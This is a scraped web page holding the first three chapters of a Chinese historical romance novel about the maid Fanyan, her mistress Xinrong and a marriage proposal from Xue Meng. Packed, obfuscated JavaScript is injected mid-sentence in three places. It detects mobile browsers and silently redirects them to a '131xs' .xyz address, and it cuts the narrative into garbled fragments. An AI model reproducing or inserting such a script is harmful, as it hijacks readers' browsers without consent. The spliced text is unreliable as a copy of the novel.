《庆金枝》 1. 一 “六姐挑了两个，一个起名儿叫红云，一个…叫绿烟。”来当耳报神的是四姐并娘，从前丰乐楼的棋待诏，薛盟常和她对弈，索性将人纳了回来。 “唉呀，我发昏了！”她说着打了自己一个嘴巴子，讪笑着道：“竟将夫人的名讳带了出来…” 梵烟这才抬起眼皮来。最后一支簪戴好了，梳头的婢女捧来靶镜，供她端详。 梵烟略照了照左右，搁下镜子站起身来，理了理胸前的璎珞，由婢女伺候着披上斗篷，头也没回道：“我去新窑瞧瞧。六姐初来乍到，你且帮衬些。”竟像全没听见并娘那一通话似的。 并娘不敢再啰唣，心念转了两转，咂摸出夫人这是要放些小权给自己的意思，连忙欢天喜地地应了，亦步亦趋送她登上暖轿出门去。 又在府门前换马车，当中的间隙里感受到了一霎冬日的凛冽，倒有种精神一振的效果，不再那么懒洋洋的。 梵烟捧着手炉闭目养神，一面在心里算着日子：没几天就是立冬了，新窑厂赶着将她亲手做的那一套酒具烧制出来，就该歇业了，工匠伙计们的辛苦钱不能薄，各处的账也得清一清。此外还有出洋的那几只船——那些事儿她不过问的，交给薛盟定夺就是。 薛盟…入了冬他也是大忙人，日日都有宴请求着他赏光，他自己更需各处勾兑，今儿多半又要晚归。 梵烟嘴角慢慢勾起一抹笑：这么席不暇暖，亦不妨碍给府里添新人儿。 那个娇月，听说是什么蕊香院的行首。教她来评，比秋波横养出来的差远了。 却也不至于那么蠢，一进门就朝自己挺腰子。并娘棋艺上巧捷万端，于旁的事儿便少了几窍，背后弄鬼的，不是老三，就是老五。 随她们闹腾去吧。梵烟这两年到底煞了火性儿，轻易不理会这些人，况且，如今还有一桩要紧事得办好。 歇山顶马车前出抱厦，厢身镶嵌螺钿图样，因是内眷所用，窗内尚衬着织金云蟒幔子，暖馥雅静。梵烟踟蹰一瞬，抬手揭开一角窗帘，这才听见外头喧闹人声。 什么红云绿烟，不至于犯她的忌讳。她还记得，在进国公府前、在入贺家前，她曾叫做五儿。 “…五儿这么小，不是去受罪吗？” “当奴婢是受罪，跟着咱们便不是受罪了？” 这一回是内城的贺学士要给女儿挑婢女，特意叮嘱了牙婆要利落的、周正的，出身清白最要紧，不然未必轮得到五儿。 年年闹反叛，年年闹饥荒，能吃饱饭的去处，俨然就是蜜窝子。 没什么挣扎的，就被牙婆领走了，先使皂荚菖蒲熬的水里里外外搓洗一通，好在没长虱子，不必将头发剃个精光，换身新衣裳，再叩学士府的大门。 贺夫人倒没甚架子，瞧了瞧她，便吩咐身旁一人：“让姑娘也来看看。” 这便是她往后要服侍的正主。五儿垂着眼，不敢抬头乱瞟，只听得一阵细细的环佩声，随即有人立在自己面前，弯腰笑道：“就是她了。” 她一惊，到底忍不住，对上一双笑靥——有些像她的四姐，是还没吃过观音土、没整日躺在炕上时的那副模样，不过更白些，更明朗些。 “你院里已经有一个五儿了，”贺夫人道，“这一个便改了吧。” 姑娘听了便问她的意思：“你愿意吗？” 五儿忙道：“都依姑娘的。” 姑娘说：“你往后多是陪我参禅诵经，不如叫作梵烟吧。” 梵烟“唉”了一声，又说：“可我…奴婢不认得字。” “这个不打紧，我慢慢教你就是了。”姑娘向母亲蹲了蹲福，是告退的意思，出来仍拉着她，一道往小院儿走：“也不用称什么奴婢，咱们要时时日日作伴的，何必刻意生疏？” 又想起一事来，接着道：“哦，我叫歆荣。” 自然是不能挂在嘴上随意叫的，但心里头知道了，仿佛总是不一样的。 梵烟看了一眼她拉着自己的手，点了点头。 进了屋，并不急着学经文，只叫她跟自己一块儿在几前分坐下，斟了两杯茶，递给她一杯，让她配着点心吃。 梵烟彼时毕竟年纪尚小，纵然知道自己是来做奴婢的、牙婆一路也耳提面命，要守规矩，但高门大户究竟是怎样一般规矩，到底知之甚少，一面朦胧地忐忑着，一面无从回绝歆荣的安排—— 先填肚子、再歇脚，认了院门、认了自己的床铺，姑娘便说今儿差不多了，早点安睡吧。 一觉醒来，对此地仿佛又贴近了些。歆荣已经起来了，坐在窗下桌案前，低头做早课，白瓷小炉里插着一支香，氤氲着梵烟往后十数年的全数皈依。 “…所谓三世，世名贪嗔痴，降此三毒，名降三世。又由如过去贪故，今受此贪报之身，复生贪业受未来报，三毒皆尔，名为降三世也。复次，三世者，为三界…以能降伏三世界主故，名降三世明王也。” 梵烟搁下笔，心中不免忡忡：“我听外头的小子说，夏侯氏的兵马已经杀到畿辅①了，咱们还要抄这些经吗？” 歆荣取过她面前的一张纸，赞道：“即便是心境不宁，这字也比我的娟秀婉约多了。” 而后敛了笑意，道：“如今京中满城风雨，题中之义都是要归降的，只怕不日叛军便成了王师。若真能兵不血刃，于百姓生黎倒是好事——至于爹爹，平素唯知编纂誊写，疏于颂圣之道，临时抱佛脚怕也勉强，不若由咱们来，权作参禅悟道，一切寻常。” 歆荣时年六岁，闺阁之语或传到外头，难免令人侧目，以为妖异。幸而身旁只梵烟一人，既是密友，又是学生，朝夕相伴，无不可袒露之言。 不久朝迁市变，贺学士依然供职翰林院，民间动荡了一阵，也如旧地为着柴米油盐而劳作辗转。只听见从前的燕朝皇帝殉国、后妃们亦个个殉主，背地里常有唏嘘。 歆荣冷笑：“男人坏了事，走投无路，便叫''殉国''，女人再英勇，不过''殉主''而已。” 梵烟忙将指尖抵唇，让她小声些，暗里想，她这话实在大逆不道，又无从反驳。 贺府里多了好几个小丫头：七巧、八红、九莺、十锦。皆是与父母亲人离散了的，有生离，自然也有死别。 死者长已矣，存者且偷生。小丫头们的头发留到可以梳鬟的时候，大徵的山河又是满目锦绣。 十锦摘了一琉璃盘的花，捧进屋来，歆荣选了两对给自己和梵烟，笑道：“余下的你们分吧！今儿你们头一回出门，高兴归高兴，可毕竟母亲是去打阴醮，路上别嘻嘻哈哈，叫她老人家看见了要骂的。” 四个小的连声保证不迭，只差指天誓日了。梵烟忍俊不禁，将人挨个赶出去：“走吧走吧，趁着日头不高，别磨蹭了。” 歆荣与贺夫人同车，梵烟陪着。七巧几个在夫人面前规矩得很，张罗完随行的物什，便跟着嬷嬷一块儿去了后头一辆车。 玉清宫在城外十来里，说远不远的。贺夫人下了马车，一行道士迎出山门来，请贵人乘轿，贺夫人道：“我腿脚还灵便，她们年纪小的更不消说，兹当略表表虔心吧。” 歆荣与梵烟应着，一个搀扶着她，一个撑起绸伞来，沿着青石阶一路瞻拜游赏。 行至老君殿，了无真人正步罡踏斗、宣咒作法，贺夫人领着歆荣梵烟两个进香、献供，丫鬟婆子们也一一跪拜、又悬挂愿签。 复观仪轨毕，一名小道童奉命来请诸人到客堂里歇息，说知晓贵客要来，座椅垫褥一应都是新的，屋子也熏得干干净净。 贺夫人领着女孩儿们，边走边问他：“怎么不见张道人？” 道童忙道：“原该师叔亲自相迎的，偏不巧临了来了位不速之客，不得不应承一二。夫人莫见怪，改日师叔再登门谢罪。” 贺夫人摆摆手：“我不过信口一问罢了。”进了客房，见果然新洁，众人依序坐了，道童带几个更小的师弟奉上茶果，又陪着寒暄一回，方才告退，留她们自便。 贺夫人饮了两口茶，向歆荣道：“我歇一会儿，你们要玩，只在这近处逛逛，别让旁人撞见。”歆荣应了，一旁嬷嬷们便上来给贺夫人披上薄毯，又使一对玉锤轻轻锤起腿来，歆荣便把梵烟一拉，冲七巧她们招招手，几人悄悄出了门去。 外头一样是亭台楼阁，与学士府大差不差。不过难得出家门，一花一树也看着新鲜而已。歆荣年初及了笄，算作大人了，行事自然稳重些，戴着轻纱帷帽，坐在游廊里乘凉，梵烟唯图陪着她，去哪儿倒并不要紧，故而只八红、十锦两个，切切察察地扑蝶捉虫去了。 竹林间不知什么鸟儿扬声高歌着，嗓音不似家里养的那些鹩哥画眉动人，听久了甚至有几分惊骇，歆荣梵烟正说着话，一时也止住了，对视片刻，一齐笑出声来。 “…能梳的花样是更多了，也能簪新奇首饰。”歆荣接着之前的话头说，语调却低下去，“可到了外头，还不是一顶帷帽遮完了？” 梵烟跟着默然。这些年歆荣教她认字抄经、教她天文算学，教她营造药典，独独不教她诗词。她闲来自翻几篇娱情，偶为字里行间的幽怨思妇动容，后来才意识到那无非是不得志的士子在借夫妻喻君臣。 男子可发妇人之言，女子却不可立士人之志。奇也怪哉。 “快走，快走！”不远处响起八红的声音，梵烟被打断思绪，同歆荣一道循声望去，见八红、十锦急匆匆往这边跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083081|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，不时还回头张望，起身问：“怎么了？” 两个小丫头气喘吁吁顾不上答，答案自己紧跟在后头，一个青衫长随追着喊：“姑娘，你戴的花掉了，我赔你新的还不要吗？” 梵烟拧眉，三两步走到游廊外，喝道：“哪来的登徒子！这儿是女客歇息的地方，岂容你乱闯！” 那人抬头瞧过来，原来也不过十四五岁的光景，天生的坏胚子：“敢问姑娘是哪家的女眷，今日多有得罪，明儿我家主人好上门赔罪。” “这是哪家的礼数？”歆荣掀了帷帽：“无端冲撞在先，咄咄逼人在后，你问我们是哪家的，我还没请教阁下是哪家的！” “误会了，误会了…”这回露面的则是忙于应承不速之客的张真人，老道士姗姗来迟，喘得比谁都厉害：“几位是贺问古贺学士府中家眷，千真万确做不得假的。” 歆荣听他只对那青衫长随细说她们的身份，却对对方的来历只字不提，心中有了计较，伸手将八红十锦护在身后，道：“劳动张真人专跑一趟，真叫人于心不忍。既如此，失陪了。” 梵烟只等她这一句，牵上四个小的，四人转身就走。 路上终究忍不住：“好大的架子，不知是什么来路，别闹到夫人跟前才好。” 歆荣平了平心气：“管他呢。藏头露尾的，自该遮掩到底，不至于当面对上母亲。” 回到房里，四人皆作无事发生，陪着贺夫人闲话。 少时道童禀说张真人来拜见，贺夫人连忙命请，张真人进来见了礼，口中告罪不住，道：“慢待了夫人，小道实在愧疚难当。盖因东宫赞善大夫薛盟薛大人驾临，为今上求道。小道修行尚浅，难以应对，薛大人听见贵府在此，连说投缘，愿就当日献圣的那篇《大毗卢遮那成佛经疏》讨教一二，不知夫人可否赏脸？” 贺夫人心下纳罕：在道家宫观里论佛教经文，这位薛赞善也真是性情中人。 然而这薛大人乃是当今新皇的外甥，又如张真人所言，代天子求道，怎好推脱？ 贺夫人深知自家老爷虽然官职未动，却全凭的是圣心宽宏，实则已然不甚得用。自己纵不能替他运作进取，也不可替他得罪了权贵。 张真人见她迟疑，又道：“夫人不必过虑，薛大人如今春秋十六，权如夫人的子侄辈，着实无需避嫌。” 话已至此，贺夫人转首见女儿戴好了帷帽，终是点头道：“那便请吧！” 张真人忙侧身，亲打起门帘儿：“薛赞善请。” 得他如此躬身哈腰的却是一个少年公子，锦衣华服，眉目含笑。进了门先长揖一礼：“晚辈薛盟，见过贺夫人。唐突叨扰，还望夫人勿要嫌怪。” 贺夫人连忙请他起身，道：“薛大人多礼了。我们不过来此一观法事，亦作闲逛逛，想是耽搁了大人的差事？” 薛盟连道不然，说：“必是张真人谨慎太过了——我今日来玉清宫，也是散散心而已。两个长随没眼色，误撞到内眷们休息的地方，幸而遇着真人，还不曾乱闯、惊扰到贵府上。依我愚见，到底应当前来拜会致歉，方不至于辗转难安。” 照他的说辞，当真是巧之又巧了。梵烟听着，不知夫人信了几分，只是难免心虚，盼着敷衍过去了事。 那头贺夫人与薛盟还在往来说笑，梵烟暗地里轻推了推歆荣，歆荣不好转身看她，只悄悄摇了摇头。 好容易送走了这尊大佛，直至打道回府，贺夫人也没说什么。 进了自个儿的小院，八红这才敢开口：“他一进来，就朝我和十锦这边看，定是来认人的！” 梵烟问：“你俩究竟干了什么？” “当真什么也没干嘛！”十锦说：“我们摘了几样花儿，就想到大树底下去斗草，那儿有风凉爽。还没到跟前，瞧见张真人正和他们四五个人坐在一起，我俩便往回走，谁知被瞧见了，头先那人就要追过来，嘴里非说我们头花掉了，脸上神情凶得很呢！” 梵烟听罢，思索片刻，对歆荣道：“原本张真人撵上来，就算是解了围。这薛赞善又特意上门赔罪是为何意？” 歆荣不语：昔年夏侯氏进京，守城小吏大开城门，跪拜相迎，未几获封靖宁侯，引得朝臣百姓纷纷效仿。父亲遂于大朝会时进献手抄《大日经疏》，道是家中女儿自幼一心向佛，偶有所感，降三世明王不日将降伏诸恶魔、摧破烦恼业障，此谶当应在今日、应在今上。 贺家女儿自幼向佛，这是京中百姓皆知的异闻，也是歆荣欲在混沌乱世里自保的法子。如今新朝既定，落在了东宫属官的眼里，不知又作何解读。 端阳节后，贺府忽然有官媒人登门，受的正是长公主之子薛盟所托。 2. 二 歆荣与梵烟皆一时无言。 旋即，梵烟松了一口气：“总比来兴师问罪的强。夫人已经将人打发走了，并没应下。” 歆荣漫然点了点头，暗恨：“这个薛盟，怕不是表字文起！” 梵烟没听明白，她也不便解释，一时怅然：今日不应薛家，将来总有要应下的一家。 当年梵烟入府，于她而言是和七巧几人一样的：年幼凄苦的小女孩儿，不留下就没有活路。不想终得一密友，相亲相投，实属意外之喜。 可贺夫人有更深的考量：女儿颇具佛缘，在外人眼里自是美谈，可为父母者，不可不为她的终身打算。 歆荣不愿沾染世俗，那便罢了。梵烟容貌出挑，又秉性纯良，正可做姑娘的臂膀，恰如那些王公贵族寄名出家的替身，代歆荣嫁为人妇，主持中馈、生儿育女——于梵烟，可争荣夸耀、母凭子贵；于歆荣，可共享天伦、后继有人。 这是及笄礼后，母女单独长谈过的。 歆荣想：我误了她。 她回过神，试探着问：“我从母亲那儿把你的身契讨来了，梵烟，你将来有什么打算？我替你张罗。” 梵烟一怔，脸霎时白了：“姑娘不要我？” “怎会！”歆荣忙道：“只是销了你的奴籍，从此自由无拘了，不好吗？” 梵烟定定地看着她：“那我还和姑娘在一块儿吗？” 歆荣鼻中一酸：“当然，只要你想。” 梵烟咬了咬唇——它们总算不再哆嗦了：“姑娘不想嫁人，我去求夫人就是，让夫人好歹多留姑娘几年，实在不成，咱们一道做姑子去，横竖别丢开我。” 歆荣长叹一声：她确实不想嫁人，在这个夫为妻纲、三妻四妾的世道，她不想踏入荒唐的泥沼，更不想梵烟仅仅因为盲目地跟从她、同陷其中。 但此话短期内不可再提。她唯能拍拍梵烟的手，玩笑道：“好傻。” 夜里细思时，越发觉得气恼而无力，半梦半醒之间，依稀听见几声啜泣。 歆荣凝神分辨，俄倾坐起来，揭开夏被，起身绕到屏风外去。梵烟正背对着她，蒙头饮悲。 歆荣又心软又后悔，俯身轻拍她的肩膀，哄小孩儿入睡：“好啦，好啦。” 梵烟自觉被她发现，无颜面对，潦草擦了擦眼睛，带着哭腔恨恨道：“都怪薛文起！” 她不管自家姑娘引据的什么典故，总之这纨绔就是罪魁祸首。 可惜薛家来的官媒人就像是开了一个头，很快，贺夫人又收到了礼部侍郎夫人的请柬，邀她同赴花会。 “那府上有一片荷花池，这时节开得正好。”郑嬷嬷送来了一套新的衣裙：“夫人说了，姑娘届时就穿这一身，戴那副珍珠的头面。” 歆荣搁下手中正拆解的机关木偶，闷声道：“知道了。” 九莺接了衣裳，撑挂在衣桁上，预备着熏香——夏日里染上烟火气不相宜，只用香丸慢慢氤氲上去。 歆荣看着她忙活了一阵，徐徐舒了一口气：坐以待毙不是办法，见招拆招吧。 梵烟比她积极得多。这日起了个大早，又掸了一回衣裙上并不存在的灰尘，珍珠头面在妆台上一字铺开，推着刚洗漱完的歆荣坐过去，持着白玉梳，沾了玫瑰水，给歆荣梳了个十分像样的牡丹髻。 “怎么梳得这样好？”歆荣讶然赞道，“这么繁复的式样，我看都看不会。” 梵烟抿嘴一笑：“前回姑娘及笄时，正宾的动作很舒缓，我就偷记了些，今日这个还算简洁的，再要华丽些就不成了。” “已经很好啦。”歆荣由着她给自己插好顶簪，自己取了鬓钗缀在两侧。对年轻女孩儿来说，这就足够贵重了，那些挑心、掩鬓、满冠之类的，是有身份的夫人才需要佩戴的。 她看着镜子里比自己更加稚嫩的脸庞，恍惚觉得自己像个严防死守的长辈，因为怕孩子摔着碰着，一步也不许她往外探。 可人总得尝试过了，才知道自己究竟想不想要。 她勾了勾梵烟的指尖，梵烟便停下手里的动作，朝她望过来。 歆荣只是笑，把盒中的口脂也点在了她的唇上。 礼部侍郎府上宾客盈门。歆荣跟在母亲身侧，向相熟的女眷们蹲福问安，再经由介绍、结识更多的新面孔。好一阵工夫，总算厮见完毕，大家在亭榭中落了座，品茶、赏荷、听小曲。 “姐姐，咱们坐船去吧？”开口相邀的是礼部主客司郎中的小女儿：“那一片荷叶还浓呢，荷花又开得多，比亭子里更清凉有趣。” 侍郎夫人闻声转过来，笑道：“是了，你们小孩儿家也不耐烦听曲，只是坐船不是闹着玩儿的，多派两个稳当的人来划。” 一个梳妇人头的年轻女子接了话：“夫人只管放心，我来照看姑娘们，保管一根头发丝儿也不少。何苦再派人，不叫她们躲躲清闲。” 侍郎夫人显然与她很是相熟，道：“瞧你乖的，恐怕想自个儿撑那篙子才是真。这些姊妹都斯文，快别吓着人家。”说完众人都笑起来。 又一位夫人便说：“就要容儿这样爽利的才好呢。女孩子在家时固然腼腆，但凡出了阁，不响快些，如何撑得起偌大的家业？” 先前招呼歆荣那小姑娘立即说：“我哥哥便是脚踩西瓜皮、滑到哪里算哪里，若没有嫂嫂里外周全，早跌个狗啃泥了！” 她母亲忙拍了她一下，嗔她把自己数落大儿子的话往外说。大伙儿忍俊不禁，恰好此时游船已备好了，一时只说让女孩儿们自在玩去，别吹着晒着就是。 梵烟与歆荣拉着手，随众人一起登上去。这船只原是侍郎府里自家用的，并不十分华丽轩敞，而是仿照南边儿的式样，小巧精致，恰容得她们五六个女孩儿。 彼此客气推让一番，大家分坐下。那被长辈们唤作容儿的女子果然取了一杆篙，在水中有一下没一下地点着，横竖这一片荷叶生得稠密，不怕船行偏了，驾娘们乐得由着客人随喜。 主人家的女儿玉德命婢子点了莲蕊香，一面笑道：“本不该乱了这一片自然清芬，不过水边易生小虫子，更怕过了暑气，且请诸位姊妹担待吧。” 众人都赞这香正合宜，于是又谈起些素日制香的心得来，及至新临了什么字帖、做了什么针黹云云。歆荣因知晓梵烟畏热，此刻无非强打精神承奉，难免时时暗中留意她，不甚用心在这些闲聊上。 入了夜，宴会方散。众人依依道别过，趁着一点难得的凉飔，各自登车而去。 歆荣二人到了家，回自己院中洗漱，七巧等趁机打听些今日的新鲜事，少不得一一说与她们，却如泡过的茶，越品越没甚滋味。 梵烟见状，因笑：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083082|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶明儿再有这样的机会，也让你们跟着去亲眼瞧瞧便是了。” 歆荣连连摆手：“罢罢罢，要去你们几个去，不必算上我的。” 梵烟看了她一眼，不再作声。少时理好床铺，也就安置了。 过了一日，晨省时候，贺夫人因向歆荣道：“那李夫人倒不住口地夸你娴静。”这说的就是主客司郎中家，“说沅沅也极与你投缘。” 歆荣笑了笑，贺夫人又自敁敠：“他家长子已举了业成了家，人你见过，便是那容儿，最得上峰夫人的心，将来前程不用愁。余下这小儿小女，奉养双亲即是，论起来算个不坏的归属。” 又微微拧眉：另有一位黄夫人亦露了几分结亲的意思，唯是相中歆荣端庄、梵烟也标致——虽说婢女陪嫁自属常情，但如此摊开来提的，实在失了体面。 京中女眷的交际圈子就这点儿大，倘或真场场不落，仿佛显得自家孩子迟迟不曾被挑中，渐渐有损矜贵。 见得母亲面露犹疑，歆荣更不便多言，单是回去后与梵烟揶揄：“眼下看着娴静的好，保不齐将来要嫌笨口拙舌不圆滑，何况娴静也是虚的，不过怠懒谈笑罢了。” 梵烟冷笑：“可不是。姑娘这张嘴伶俐着呢，寻常外人未必有福气得姑娘一句针砭。” 歆荣听这话口不对，奇道：“你怎的了？” 梵烟却已转圜过来：“单看李夫人与她家姑娘，倒是好相与的，只不知道这李二公子是圆是扁。” 所谓相看历来就是这么回事儿。内宅里年长的女人为自己择伙伴与后裔，至于顶天立地的男人如何想，反而不是最要紧的了。 然则一生荣辱所寄的，又正是那个不露面的男人。 歆荣怔了怔，后知后觉她打心底里排斥反感的盲婚哑嫁，对梵烟来说，却是从闺阁走到外面去的窄门。 她沉吟片刻，徐徐道：“礼部主客司郎中虽也是五品，但本朝外交频繁，算是个职权较重的位置，那位李大人想来总不能是迂阔之辈。” 不禁一哂：“前回叨扰了侍郎夫人，母亲不日该要还席的，你若打定了主意，我想个辙去游说母亲，再怎么着，远远地见一眼真人，才论后续。” 梵烟别开脸，闷闷道：“姑娘的终身，岂能由着我置喙？” 这下不用疑心了，她确实是生自己的气无误。歆荣忙立起身，绕到她跟前，低声细语道：“好梵烟，你这话当真叫我诛心了…我何尝不知，这样的安排不人道，可是、可是——” 她缄默下来，两行泪滚在地上，她恍然不觉，只是想：要是攻破城门的是我就好了。 可惜她又清醒地认识到：在法治时机未到的年代，全凭人治，而她是没有那等手段建立新秩序的。 兼济天下不是她的使命，独善其身同样于心难安。 梵烟见她这般情态，转而又来安慰她，抽出手帕替她擦眼泪：“是我的过错，简直无理取闹。姑娘待我如何，我难道不明白吗？权当我恃宠生娇，姑娘别伤心了。” 歆荣一贯拿梵烟当小妹妹看，这会儿情绪发泄出来了，又一时赧然，勉力展颜，只是说不出话来。 两人既和好了，那些烦扰俗事暂且不去提，仍旧度日如常，安生一日算一日。 那厢贺夫人的帖子还没下出去，贺学士先得了薛家的邀约，以诗词相会。 3. 三 贺学士此人，官做得一般，文墨上倒颇有雅好。原先以为这长公主之子政务巨万，少有吟风弄月的闲暇，何况一向也并无契机来往，意外赴了一回宴请，不想结识了许多缘悭一面的名士怪才，心下大喜。 再观薛誓之年纪不大，谈吐不俗，待人接物亦颇老练，直叫贺学士将往日对新贵一流那份敬而远之的心思都淡了许多，认为此子值得一交。 返家因与妻子感慨，贺夫人蹙眉笑道：“老爷竟不知晓，当日上门的红帖先生①，便是受这薛大人之托。我心想着，齐大非偶，婉言给回绝了。” 贺学士“啊”了一声，琢磨一番，道：“若是这样，自没有为着攀龙附凤，叫歆荣去别家受委屈的道理。他今日请我，权当是一般官场上的往来，以后再有，一概推辞了。” 夫妇俩又细细商议一回，嗟叹局势初定，上位为休养生息，鼓励再醮，限制女户——今时今日想打“孝女不嫁，以养双亲”的主意，可不容易了。 过了几日，正逢休沐，薛盟身边那长随名唤澜序的，捧着卷轴上门了。 “我家主人问学士老爷安。二则前番仰赖老爷金面，那幻霞散人应允入馆，共襄《大典》编纂。家主感念不已，无以为谢，只得借花献佛，特呈上偶然得来的一幅《容膝斋图》，不知真伪，还望老爷不吝赐教。” 贺学士骇然连道“使不得”，说：“散人虽淡泊避世，忧民怜悯之心却从未冷尽。愿为国朝略尽绵力，实是社稷大幸，我辈岂敢居功？薛赞善当真言重了。此画亦万万不敢收。” 澜序便笑：“幻霞散人一向嫌我们赞善俗不可耐，若非学士赏光赴会，薛家上下都不配与这位高士同席呢！” 这话却有语带双关之义。贺学士怎谙招架之道？纵一心不肯生受，急又急不得，只得道：“小哥辛劳一路，且用茶歇一歇。卷轴我姑且代为保管，改日请薛赞善拨冗，我再去府上叨扰。” 澜序只管东西送到，满口答应着而已，回去与薛盟复命，主仆俩皆知贺学士喜好，《容膝斋图》真迹何等难寻，送到了眼皮子底下，再没有狠心割舍的道理。 不料转天贺学士真搂着卷轴，到薛府候他来了。 薛盟说是领着东宫事务，但太子这会儿也不过十三四岁，入朝参政不久，大多时候仍以读书骑射为首要，真正派给一个属官的差事能有多少？除去他自个儿为了生财忙活的那些勾兑周旋，其实清闲得很。 咂摸了片刻，他重新换上一身见客的衣裳，拾掇得又周正又磊落，这才龙骧虎步往前厅赶去。 还没踏进门，早以“世叔”相称，叉手恭恭敬敬行了礼，落座时瞥见那盛画的匣子，纹风不动地含笑开口：“多亏有世叔叮嘱，幻霞散人最厌''仕途''、''品衔''一类字眼，侄儿凡与他对谈，必谨遵着教诲，至今不曾冒犯于他。” 贺学士被他抢了话，无奈点了点头，一篇腹稿再四梳理过，方道：“薛赞善年少有为，我固然痴长春秋，并不及赞善练达。故纸堆里荒废数十载，一无建树，幸而有妻女相伴，凡事唯以她们为念，或有慢待得罪之处，万望赞善见谅，大人不计小人过。” 薛盟默然听罢，冷不防道：“世叔此言，倒叫侄儿想起先父来。” 贺学士被他唬得险些自圈椅中跳起来，心说此人果然棘手。 他一番脸色变换，薛盟焉有看不穿的？暗嘲自己竟如此声名在外，再真心真意也叫人信不实： “我少小失怙，母亲虽慈爱，毕竟力有不逮。这十来年，每常遇到贤德可敬之辈，我便效仿他们的言行，强自混出个人样儿来——” 见贺学士张口难言，他摆了摆手，表示不以为意：“世叔以诚相待，我若再虚以委蛇，岂不成了狼心狗肺的玩意儿？世叔容我剖白，我倾心令爱是真，敬重世叔同样是真。贸然攀交，原想凭世叔考量我的为人，值不值得将掌上明珠托付，不料弄巧成拙，反惹了贵府不豫，是侄儿该死…” 贺学士忙不迭劝止了他，细究他这一篇话，仿佛比平素真挚些，沉吟一瞬，道：“世侄莫笑，老话常说，父母之命，媒妁之言。可姻缘姻缘，毕竟结两姓之好，总要两家都情愿才是——我自回去问一问小女的意见，世侄也须奏请长公主的示下。” 薛盟忙答应了，又说：“母亲宽仁，必不忍令我期许落空。至于我，若得贺姑娘为配，必敬她、爱她，姑娘醉心佛学，便不必沾染一切俗务。侄儿立誓，此生不渝。” 贺学士听到这里，心里甫有松动。他有些相熟的同僚，私底下也议论过，今上的外甥是个见人说人话、见鬼说鬼话的主儿，打交道时务必慎之又慎。却有一点难得，这人不轻易许诺，许则言出必行。 “…一诺千金，就怕时人靠这个套现。”歆荣偏是不喜这等肉麻话，盖因无法理解萍水相逢的男女如何非卿不可。 梵烟正弯腰摆弄那模样新奇的西洋座钟，头也不肯回地接口道：“殊不闻白首如新、倾盖如故？” “倾盖也有短暂的交谈。”歆荣在她面前没甚顾忌：“连只言片语都不通，就像蚂蚱和湘竹帘子拜了天地，从此要长相厮守。” “好奇怪比喻。”梵烟总算走过来，问：“那你当初挑我时，是在挑帘子还是蚂蚱？” 不待歆荣说话，她又自答：“是了，丫鬟可以撵，夫婿却不能退的。” 歆荣一愣，半晌笑道：“我当一时不慎又伤了你的心，谁知你比我还魔怔！” 梵烟亦笑：“所以说这根本是个圈套。现下还算开明的了：既定了亲，不远不近地见一面，大家见证着，说一两句话也不为过——只是若话不投机，婚事也板上钉钉跑不得了。” “那你说，我答应，还是不答应？” 梵烟与歆荣面面相觑一阵，心一横：“答应吧！” 好歹还见过面，知道他不聋不瞎也不跛。梵烟这样想道。 歆荣还有一层所图：既然有西洋座钟，便有通商口岸，听说那薛盟又在这一行混得如鱼得水，倘或真能搭上这条人脉，将来说不定有些柳暗花明的际遇。 而这个年代，一个女人想搭上一个男人的人脉，就只有婚姻这一种方式。 换过庚帖后，时序已在仲秋。少年男女被安排在玉清宫见一面。 歆荣择了观中古椿树下的一处凉亭，一行走，一行对梵烟道：“此地倒开阔，咱们坐着说话，郑嬷嬷在那头守着也不遭晒，旁的游人若闯过来，叫底下人撵走便是。” 那薛盟本在亭前候着，一时听得明明白白，上前来见礼：“上回冒犯了姑娘，虽不是有心，但着实该死。万幸姑娘雅量高致，特予我赔罪的机会。” 说着，引二人到亭中铺着锦褥的石凳入座，又亲自向风炉上扇滚了水，烹得两盏茶来，分奉于歆荣与梵烟。 梵烟意欲起身接手，被歆荣按住了：“你坐。”抬头向薛盟道：“梵烟与我一同长大，与嫡亲姊妹无二，请薛赞善体谅。” 薛盟说：“这个自然。”举起自己的茶杯，向梵烟示意：“那么，也请梵烟姑娘饮茶，饶恕在下的过失吧。” 梵烟垂眸，只道“不敢”，抿了一口茶。 赔罪完毕，薛盟轻叹了口气，低声：“如今我再没有什么可向姑娘隐瞒的——前次那般草木皆兵，概因同行者中，有微服出宫的太子殿下。我既与太子是姑表兄弟，又是东宫属官，实打实在同一条船上，风平浪静也好，风高浪急也罢，总之是下不来了。” 歆荣扬了扬嘴角：“如今贺家亦是这船上的一支短棹。''击空明兮溯流光''也凭他，''子陵滩下水沄沄''也凭他。” 薛盟的目光与她相撞一瞬，旋即收敛了许多，徒余一派温和澹然：“誓之会保全姑娘，不染尘埃，不经风霜。” 歆荣顿觉索然：她忘了，人不与小猫小狗结盟，人只疼爱它们。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083083|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 